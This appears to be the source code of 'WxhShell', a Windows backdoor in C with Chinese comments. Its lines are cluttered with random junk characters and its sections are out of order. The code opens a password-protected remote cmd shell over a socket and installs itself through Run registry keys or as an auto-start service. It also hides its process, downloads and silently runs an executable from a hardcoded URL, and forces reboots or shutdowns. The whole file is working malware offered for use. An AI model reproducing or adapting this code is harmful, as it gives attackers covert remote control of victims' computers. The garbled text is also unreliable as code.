    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sHPwW5j/o'  
    if(Boot(SHUTDOWN)) NZ+?Ydr8k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'oHOFH9:{b  
    else { W "\tkh2  
    closesocket(wsh); vz #wP  
    ExitThread(0); }!yD^:[ 5  
    } 6v2RS  
    break; 3{I=#>;  
    } .";tnC!e  
  // 获取shell 7k#${,k  
  case 's': { Dss/>! mN  
    CmdShell(wsh); zEPx  
    closesocket(wsh); z1SMQLk  
    ExitThread(0); oB{}-[G  
    break; o +QzQ+ Z  
  } lfpt:5a9&  
  // 退出 p`<e~[]a  
  case 'x': { o )nT   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wp]7Lx?F  
    CloseIt(wsh); D_19sN@0m  
    break; N}x/&e  
    } K,C $J I  
  // 离开 M\?uDC9  
  case 'q': { b6WC @j`*T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6|9g4@Hy  
    closesocket(wsh); {?>bblw/d  
    WSACleanup(); AR+\uD=\I-  
    exit(1); s?G'l=CcKu  
    break; sAjKf\][  
        } $G-N0LV  
  } ;/)Mcx]n  
  } :U-US|)(2  
^;CR0.4  
  // 提示信息 jY#(A23  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )*TW\v`B  
} ;*g*DIR  
  } H6PXx  
!AD0 -fZ  
  return; TA@tRGP>  
} l`M5'r]l  
d[>N6?JA/  
// shell模块句柄 +zVcOS*-  
int CmdShell(SOCKET sock) 2NA rE@  
{ ;(Ajf.i  
STARTUPINFO si; gGI#QPT`X  
ZeroMemory(&si,sizeof(si)); ]2xx+P#Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r_V2 J{B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~g K-5}%!  
PROCESS_INFORMATION ProcessInfo; 7k`*u) Q  
char cmdline[]="cmd"; |?fW!y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /:Z~"Q*r  
  return 0; {sna)v$;  
} X8,7_D$  
m_E[bDON  
// 自身启动模式 ,3J`ftCV  
int StartFromService(void) R!_8jD:$  
{ rKy-u  
typedef struct V$-~%7@>;9  
{ 1|l)gfcP  
  DWORD ExitStatus; 2Pem%HE~P  
  DWORD PebBaseAddress; oXQ<9t1(  
  DWORD AffinityMask; )4'x7Qg/  
  DWORD BasePriority; M8#*zCp{5  
  ULONG UniqueProcessId; !HdvCYB>  
  ULONG InheritedFromUniqueProcessId; bQ^DX `o6P  
}   PROCESS_BASIC_INFORMATION; q2S!m6!  
kY'<u  
PROCNTQSIP NtQueryInformationProcess; c+Q.?vJ  
i!1ho T$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _\4`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c9*1$~(v0I  
{XDY:`vZ}  
  HANDLE             hProcess; `\W   
  PROCESS_BASIC_INFORMATION pbi; _X,[]+ziu%  
nL":0!DTRD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !y qa?\v9  
  if(NULL == hInst ) return 0; mX<Fuu}E*Z  
AK@`'$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m{b ZRkt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DD/>{kff  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _4.]A 3;}  
>op:0on]}  
  if (!NtQueryInformationProcess) return 0; c|\ZRBdI  
\uU=O )  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (b/A|hl  
  if(!hProcess) return 0; .)"_Q/q  
S1 EEASr!}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L(WL,xnBy  
W.#}q K" q  
  CloseHandle(hProcess); G%P>A g  
7xv4E<r2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,]PyDq6  
if(hProcess==NULL) return 0; i}/e}s<-6  
*PSvHXNi  
HMODULE hMod; kCaO\#ta  
char procName[255]; 3d*&':  
unsigned long cbNeeded; | ((1V^  
T~i%j@Q.6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w24{_ N  
X(Y#9N"  
  CloseHandle(hProcess); P"(z jG9-  
[x2JFS#4  
if(strstr(procName,"services")) return 1; // 以服务启动 ^CZCZ,v  
d5@X#3Hd  
  return 0; // 注册表启动 ADv^eJJ|  
} DS#c m3  
w/b>awI  
// 主模块 v2 29H<  
int StartWxhshell(LPSTR lpCmdLine) _ztZ> '  
{ ,op]-CY 5  
  SOCKET wsl; g>2aIun_Q  
BOOL val=TRUE;  0dgP  
  int port=0; b]!9eV$  
  struct sockaddr_in door; G(U9rJ9  
lLb:f6N  
  if(wscfg.ws_autoins) Install(); @s_3 0+  
'|vD/Qf=&  
port=atoi(lpCmdLine); Tub1S v>J  
o!aLZ3#X  
if(port<=0) port=wscfg.ws_port; [##`U m  
403[oOj  
  WSADATA data; YBb)/ZghY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #O2wyG)oU  
vU=9ydAj?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "$XYIuT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2v0!` &?M{  
  door.sin_family = AF_INET; ~I{EE[F>qL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X}ZlWJ  
  door.sin_port = htons(port); XD PL;(?  
:P3{Nxa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +c^_^Z$_4o  
closesocket(wsl); s|Z:}W?{  
return 1; `W@T'T"  
} )PR3s1S^  
D`6iDi t  
  if(listen(wsl,2) == INVALID_SOCKET) { s}6+8fE"  
closesocket(wsl); ze`1fO|%  
return 1; 6iG(C.b  
} '.?^uM  
  Wxhshell(wsl); b2N6L2~V  
  WSACleanup(); 6X/wd k  
qE )Y}oN  
return 0; taweGc%~  
F\a]n^ Y  
} Pm4e8b  
3sH\1)Zz  
// 以NT服务方式启动 g>so R&*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tAF]2VV(e  
{ \tY"BC4.  
DWORD   status = 0; i+g~ Uj}h  
  DWORD   specificError = 0xfffffff; ,V,f2W 4  
$@_{p*q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 93j{.0]X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M\Se_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a6%@d_A  
  serviceStatus.dwWin32ExitCode     = 0; PgMbMH  
  serviceStatus.dwServiceSpecificExitCode = 0; z~,mRgc$B  
  serviceStatus.dwCheckPoint       = 0; |6aJwe+*  
  serviceStatus.dwWaitHint       = 0; tQWWgLM  
2d*_Qq1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fh K&@@_  
  if (hServiceStatusHandle==0) return; Y9F)`1 7  
e@E17l-  
status = GetLastError(); dL-i)F  
  if (status!=NO_ERROR) 6^)rv-L~5y  
{ 5F2_xH$5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *ZaaO^!  
    serviceStatus.dwCheckPoint       = 0; GcT;e5D  
    serviceStatus.dwWaitHint       = 0; @5xu>gKn  
    serviceStatus.dwWin32ExitCode     = status; (Yv{{mIy  
    serviceStatus.dwServiceSpecificExitCode = specificError; B MM--y@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T-'~?[v  
    return; ow$q7uf  
  } kY"KD22a  
F$Hx`hoy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 69-:]7.g  
  serviceStatus.dwCheckPoint       = 0; #)o7"PW:  
  serviceStatus.dwWaitHint       = 0; CK0l9#g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ve}[XqdS^p  
} gxwo4.,  
,MQVE  
// 处理NT服务事件,比如:启动、停止 Oe51PEqn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RT^v:paNT2  
{ ^"9* 'vTtc  
switch(fdwControl) Rf)ke("  
{ ?7 \\e;j}  
case SERVICE_CONTROL_STOP: !^e =P%S  
  serviceStatus.dwWin32ExitCode = 0; 'cV?i&;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yhpz5[AuO  
  serviceStatus.dwCheckPoint   = 0; ?s?$d&h  
  serviceStatus.dwWaitHint     = 0; =7%o E[  
  { V|'1tB=;*1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !nd*W"_gQ/  
  } @Y}uZ'jt'  
  return; 7{e=="#*  
case SERVICE_CONTROL_PAUSE: qj!eLA-aD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Pe9_ZH$W  
  break; ZtK\HDdp  
case SERVICE_CONTROL_CONTINUE: Gh}yb-$N`&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o:"anHs  
  break; :P$#MC  
case SERVICE_CONTROL_INTERROGATE: 6.5wZN9<|  
  break; T-gk<V  
}; g JjN<&,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); er2cQS7R  
} x&Cp> +i  
; Y"N6%  
// 标准应用程序主函数 N>|XS ,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (u hd "  
{ >xqM5#m`E$  
(gwj)?:  
// 获取操作系统版本 "0CjP+1k  
OsIsNt=GetOsVer();  rkB'Hf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oFDz;6  
gd7^3q[$h  
  // 从命令行安装 hIYTe  
  if(strpbrk(lpCmdLine,"iI")) Install(); }^-<k0A4?  
8 Ti G3  
  // 下载执行文件 DWU`\9xA*  
if(wscfg.ws_downexe) { ff e1lw%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fY,|o3#  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Kivuc  
} Pm+tQ  
>\2:\wI  
if(!OsIsNt) { kL>d"w  
// 如果时win9x,隐藏进程并且设置为注册表启动 @F~LW6K  
HideProc(); ^e Gue  
StartWxhshell(lpCmdLine); jZpa0grA  
} 9zBMlc$X  
else +9XQ[57  
  if(StartFromService()) :7g=b%;  
  // 以服务方式启动 T6#CK  
  StartServiceCtrlDispatcher(DispatchTable); WC,+Cn e  
else ?wb+L  
  // 普通方式启动 X^@ I].  
  StartWxhshell(lpCmdLine); 17|np2~  
pI.+"Hz  
return 0; =IU*}>#  
} \.uc06  
#]]Su91BA  
]y@F8$D!  
&fOdlQ?  
=========================================== e:w &(is  
F_;DN: {  
l [GOs&D1  
jS.g]k  
 \ %=9  
F {+`uG  
" r?/A?DMe  
TUIk$U?/I  
#include <stdio.h> 1f'Hif*r_X  
#include <string.h> Wg`AZ=t  
#include <windows.h> tK(g-u0N`(  
#include <winsock2.h> _>m-AI4^  
#include <winsvc.h> 44ed79ly0)  
#include <urlmon.h> q.#[TI ^  
ccFn.($p?,  
#pragma comment (lib, "Ws2_32.lib") .w?(NZ2~  
#pragma comment (lib, "urlmon.lib") 69K{+|  
d XHB#  
#define MAX_USER   100 // 最大客户端连接数 .7NNT18  
#define BUF_SOCK   200 // sock buffer o Y}]UB>  
#define KEY_BUFF   255 // 输入 buffer DZS]AC*  
BYrZEVM9  
#define REBOOT     0   // 重启 +pm[f["C.  
#define SHUTDOWN   1   // 关机 I6!5Yj]O"  
8eBOr9l+j  
#define DEF_PORT   5000 // 监听端口 H)w(q^i  
S~Z|PLtF  
#define REG_LEN     16   // 注册表键长度 qa`-* 4m  
#define SVC_LEN     80   // NT服务名长度 5yZTcS z  
-]uUYe c  
// 从dll定义API I<td1Y1q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y&m0Lz53Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); # ]?bLm<!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I04jjr:<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gi/@ j  
$2^`Uca  
// wxhshell配置信息 +  @9.$6N  
struct WSCFG { &,\=3 '  
  int ws_port;         // 监听端口 V r(J+1@  
  char ws_passstr[REG_LEN]; // 口令 ?~"bR%  
  int ws_autoins;       // 安装标记, 1=yes 0=no GNf482  
  char ws_regname[REG_LEN]; // 注册表键名 fWc|gq  
  char ws_svcname[REG_LEN]; // 服务名 "\W-f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =J-5.0Q\_\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kum#^^4G|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7hW+T7u?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =]`lN-rYw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u]-_<YZ'B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F~:O.$f]G  
?3ig)J,e[  
}; w]b,7QuNz  
'^BV_QQ  
// default Wxhshell configuration !Z!g:II /  
struct WSCFG wscfg={DEF_PORT, mR\`DltoV  
    "xuhuanlingzhe", :F,O  
    1, 0P^L}VVX  
    "Wxhshell", u]NZ`t%AP  
    "Wxhshell", =*qD4qYA  
            "WxhShell Service", &6 s) X  
    "Wrsky Windows CmdShell Service", `@d<n  
    "Please Input Your Password: ", -oeL{9;  
  1, uwf 5!Z:>  
  "http://www.wrsky.com/wxhshell.exe", Hs?e0Z=N  
  "Wxhshell.exe" E!BPE>  
    }; 7]xm2CHx5  
]M/9#mD9~  
// 消息定义模块 RIu~ @  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FLg*R/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )#|<w9uec  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YjF|XPv+ l  
char *msg_ws_ext="\n\rExit."; CQ`=V2:"ON  
char *msg_ws_end="\n\rQuit."; |Fm6#1A@  
char *msg_ws_boot="\n\rReboot..."; BqDKT  
char *msg_ws_poff="\n\rShutdown..."; dkgSvi :!  
char *msg_ws_down="\n\rSave to "; YprH wL  
5uq3\a  
char *msg_ws_err="\n\rErr!"; Spo?i.#  
char *msg_ws_ok="\n\rOK!";  ~ ~uAc_  
8l}1c=A}Vi  
char ExeFile[MAX_PATH]; 2!&&|Mh}  
int nUser = 0; j'[m:/  
HANDLE handles[MAX_USER]; ^ -FX  
int OsIsNt; yR{x}DbG  
)"f N!9,F  
SERVICE_STATUS       serviceStatus; 8[r9HC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mb3}7@/[  
1O].v&{  
// 函数声明 kGpa\c g1  
int Install(void); -jgysBw+Xb  
int Uninstall(void); #&v/icz$  
int DownloadFile(char *sURL, SOCKET wsh); )X4K2~k*  
int Boot(int flag); qq)0yyL r  
void HideProc(void); 3lV^B[$  
int GetOsVer(void); Pe C7  
int Wxhshell(SOCKET wsl); Hf'G8vW  
void TalkWithClient(void *cs); D7Y)?Z5A;  
int CmdShell(SOCKET sock); ?USQlnr:R/  
int StartFromService(void); G} eUL|S  
int StartWxhshell(LPSTR lpCmdLine); 8WE{5#oi  
0 a]/%y3V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {G <kA(Lm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s yU9O&<  
y/e 2l  
// 数据结构和表定义 dz~co Z9  
SERVICE_TABLE_ENTRY DispatchTable[] = vR0 ];{  
{ cvwhSdZu8  
{wscfg.ws_svcname, NTServiceMain}, e8YMX&0%  
{NULL, NULL} m<L;  
}; rc+C?)S  
=rdY @  
// 自我安装 1&fc1uYB4  
int Install(void) 3=-4%%[M@  
{ G-9iowS/A  
  char svExeFile[MAX_PATH]; l5l>d62  
  HKEY key; I`z@2Z+pJ  
  strcpy(svExeFile,ExeFile); +T9:Udi  
XLMb=T~S  
// 如果是win9x系统,修改注册表设为自启动 ?"?6,;F(4  
if(!OsIsNt) { ^(viM?*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==i[w|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XqM3<~$  
  RegCloseKey(key); cYXM__  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /1?R?N2>0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ HZKc\1  
  RegCloseKey(key); uKgZ$-'  
  return 0; XZw6Xtn  
    } JdZ+Hp3.  
  } P0 `Mdk371  
} Y(.OF Q  
else { 6<K6Y5<6  
(KvROV);  
// 如果是NT以上系统,安装为系统服务 &uC@|dbC5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [AV4m   
if (schSCManager!=0) eNiaM6(J  
{ jA#/Z  
  SC_HANDLE schService = CreateService [r/k% <  
  ( s;UH]  
  schSCManager, PRNoqi3sY  
  wscfg.ws_svcname, ~ %B<  
  wscfg.ws_svcdisp, jqr1V_3(  
  SERVICE_ALL_ACCESS, ]kG(G%r|M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s,a}?W  
  SERVICE_AUTO_START, ^5r9 5  
  SERVICE_ERROR_NORMAL, sg E-`#  
  svExeFile, s+:=I e  
  NULL, fO#vF.k%  
  NULL, LJoGpr 8  
  NULL, e8'wG{3A  
  NULL, AIA6yeaU  
  NULL 7)h[Zy,A  
  ); ?f/n0U4w  
  if (schService!=0) fib}b? vk  
  { 3> /K0N|$  
  CloseServiceHandle(schService); 5q "ON)x  
  CloseServiceHandle(schSCManager); DWdW,xG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l }XU 59  
  strcat(svExeFile,wscfg.ws_svcname); |lv|!]qAma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u1xSp<59C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A)ipFB 6K  
  RegCloseKey(key); u.rY#cS,-R  
  return 0; wf1lyS  
    } &~CY]PN.  
  } B c2p(z4  
  CloseServiceHandle(schSCManager); >vo=]c w  
} y\{%\$  
} ax 41N25  
DNP13wp@  
return 1; .jMq  
} A<;SnXm  
%kgkXc~6|x  
// 自我卸载 J*9$;  
int Uninstall(void) bTQNb!&  
{ Ytgj|@jsp  
  HKEY key; aZbw]0q@o  
l3 DYg  
if(!OsIsNt) { 1#1 riM -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -.{g}R%  
  RegDeleteValue(key,wscfg.ws_regname); NY?;erX  
  RegCloseKey(key); RoAlf+&Qb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O#Wh TDF"  
  RegDeleteValue(key,wscfg.ws_regname); )& u5IA(  
  RegCloseKey(key); -(K9s!C!.  
  return 0; ~)(\6^&=|  
  } vOg#Dqn-  
} ,]T2$?|  
} 'w1YFdW  
else { E@Ad'_H  
TwgrRtj'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :_QCfH  
if (schSCManager!=0) ^wS5>lf7p  
{ Is+O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qTQBt}  
  if (schService!=0) *{+G=d  
  { .CFa9"<  
  if(DeleteService(schService)!=0) { Ao/ jt<  
  CloseServiceHandle(schService); 0T46sm r  
  CloseServiceHandle(schSCManager); 'fPdpnJ<  
  return 0; r [ K5w  
  } MX+ Z ?  
  CloseServiceHandle(schService); |\n_OS 7  
  } N<DGw?Rl  
  CloseServiceHandle(schSCManager); \(%Y%?dy  
} '? jlH0;  
} jMpD+Mb  
0>zbCubPH  
return 1; VsA'de!V4[  
} WVLHfkN  
p0pWzwTG3  
// 从指定url下载文件 @}kv-*  
int DownloadFile(char *sURL, SOCKET wsh) xC tmXo  
{ E }ZJ)V7  
  HRESULT hr; A2|Ud_  
char seps[]= "/"; )Y)pmjZaG  
char *token; xp Og8u5  
char *file;  }K3x  
char myURL[MAX_PATH]; >a}f{\Q  
char myFILE[MAX_PATH]; @/ k@WhFZ  
5ms""LD/  
strcpy(myURL,sURL); S%`0'lzzj  
  token=strtok(myURL,seps); (T2m"Yi:  
  while(token!=NULL) XQS9,Hl  
  { Zv#Ll@v  
    file=token; !A%<#Gjt  
  token=strtok(NULL,seps); rylzcN9RM$  
  } M}!2H*  
PiA0]>  
GetCurrentDirectory(MAX_PATH,myFILE); Q~T$N  
strcat(myFILE, "\\"); {P*m;a`}  
strcat(myFILE, file); |7zd%!  
  send(wsh,myFILE,strlen(myFILE),0); nMJ#<'v^!2  
send(wsh,"...",3,0); P+$:(I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o*J3C>  
  if(hr==S_OK) )wNP( @$L  
return 0; H<3I 5Kgt  
else 9V5-%Iv  
return 1; ooQQ-?"m  
%plo=RF  
} <n#DT  
*BR^U$,e  
// 系统电源模块 ]KmO$4  
int Boot(int flag) "&3h2(#%  
{ ~ yX2\i"  
  HANDLE hToken; KGg3 !jY  
  TOKEN_PRIVILEGES tkp; e;(0(rI  
y99mC$"Ee`  
  if(OsIsNt) { !50[z:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & \f{E\A#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $*?,#ta  
    tkp.PrivilegeCount = 1; )6aAB|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uS^Ipxe\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ye MB0Z*r  
if(flag==REBOOT) { ZMq6/G*fD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s)pbS}L  
  return 0; Sm5H_m!  
} ' MxrQ;|S  
else { ynrT a..  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^U!0-y  
  return 0; 4F{70"a  
} GP#aya  
  } 8e(\%bX  
  else { L+q/){Dd(  
if(flag==REBOOT) { >:b Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @/31IOIV]`  
  return 0; OE-gC2&Bm  
} ~Rr~1I&mR,  
else { is-7 j7;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *I0T{~  
  return 0; y_?Me]  
} j?+X\PtQ  
} ?[ lV-  
<.? jc%  
return 1; q*>&^V$M  
} RVQh2'w  
&e!7Z40w@&  
// win9x进程隐藏模块 SBS3?hw  
void HideProc(void) bR)(H%I  
{ .*)2SNH  
a8UwhjFO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )<tI!I][j  
  if ( hKernel != NULL ) S@/IQR  
  { a5 TioQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~5oPpTAe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sjV!5Z  
    FreeLibrary(hKernel); \vO,E e~#W  
  } 5yz(>EVH  
_BP&n  
return; uwy:t!(j  
} <Pi|J-Y  
_+E5T*dk  
// 获取操作系统版本 {Sj9%2'M)  
int GetOsVer(void) H|HYo\@F#  
{ av|g}xnj  
  OSVERSIONINFO winfo; ?snp8W-WB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4v{o  
  GetVersionEx(&winfo); Ob<{G"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Nz2z[W$  
  return 1; =7m)sxj]w  
  else Xx>X5Fy  
  return 0; OL^l 3F  
} ,]d /Q<  
@W"KVPd  
// 客户端句柄模块 z+n,uHs  
int Wxhshell(SOCKET wsl) Jh!I:;/  
{ )`(p9@,V  
  SOCKET wsh; '?p<lu^^B  
  struct sockaddr_in client; XLrwxj0  
  DWORD myID; }*S `qW;B  
yvO{:B8%  
  while(nUser<MAX_USER) |M, iM]  
{ QvKh,rBFVG  
  int nSize=sizeof(client); 7V!*NBsl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VL` z[|e @  
  if(wsh==INVALID_SOCKET) return 1; ia+oX~W!VR  
HK0! P*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YOmM=X+'H  
if(handles[nUser]==0) 7Bd-!$j+  
  closesocket(wsh);  KJaXg;,H  
else yj.7'{mA  
  nUser++; 7E79-r&n  
  } ~yW4)4k;b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zm_UR*"  
8&qZ0GLaT  
  return 0; ?q{ ,R"  
} LQRQA[^  
F7EKoDt  
// 关闭 socket [R^i F  
void CloseIt(SOCKET wsh) (Fhs"  
{ WGZ9B^A  
closesocket(wsh);  jYmR  
nUser--; n|RJ;d30Q  
ExitThread(0); Ssou  
} dQA'($  
9CWezI+  
// 客户端请求句柄 )9"_J9G  
void TalkWithClient(void *cs) ij(B,Y  
{ TU,s*D&e  
'6cWS'9"  
  SOCKET wsh=(SOCKET)cs; Enn"hdI  
  char pwd[SVC_LEN]; 1;Cyz)  
  char cmd[KEY_BUFF]; LcTt)rs f  
char chr[1]; O @j} K4  
int i,j; ':3 pq2{  
{YAJBIvHV  
  while (nUser < MAX_USER) { jN;@=COi  
DN-+osPi  
if(wscfg.ws_passstr) { q=Sgk>NA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %4,O 2\0?&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Vrh4g.l  
  //ZeroMemory(pwd,KEY_BUFF); koZ*+VP=  
      i=0; qzKdQ&vO  
  while(i<SVC_LEN) { Uyg5i[&X@  
aJbO((%$|u  
  // 设置超时 8m\7*l^D:  
  fd_set FdRead; 0uOkMuy<  
  struct timeval TimeOut; rrBsb -  
  FD_ZERO(&FdRead); xSsa(b  
  FD_SET(wsh,&FdRead); - -HZX  
  TimeOut.tv_sec=8; H Y&DmE  
  TimeOut.tv_usec=0; [S9K6%w_!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;5S9y7[i|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BW}U%B^.  
qG?Qc (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -w}]fb2Q>  
  pwd=chr[0]; C'.L20qW  
  if(chr[0]==0xd || chr[0]==0xa) { Bn#?zI  
  pwd=0; j7$e28|_n  
  break; !sQY&*  
  } ZojI R\F^  
  i++; ff,pvk8N5  
    } "/3'XOK|  
@s ?  
  // 如果是非法用户,关闭 socket l1OE!W W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P2BWuh F  
} +./H6!  
e,vvzs o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1PQ~jfGi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nYR#  
Wz49i9e+d  
while(1) { [q) 8N  
Ln')QN  
  ZeroMemory(cmd,KEY_BUFF); 0WZ_7C?  
-Ta9 pxZk  
      // 自动支持客户端 telnet标准   8dZSi  
  j=0; Lsq A**=  
  while(j<KEY_BUFF) { iNtaDX| %/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JQ8fdP A  
  cmd[j]=chr[0]; r@h5w_9  
  if(chr[0]==0xa || chr[0]==0xd) { q<[P6}.  
  cmd[j]=0; Wu c S:8#|  
  break; ZM !CaR  
  } 9kN}c<o  
  j++; B(LWdap~  
    } ~:kZgUP_f  
42{Ew8  
  // 下载文件 mZtCL  
  if(strstr(cmd,"http://")) { #%iDT6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eL10Q(;P`  
  if(DownloadFile(cmd,wsh)) 3G,Oba[$<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :DrWq{4  
  else `w#Oih!6A|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v5!d$Vctu  
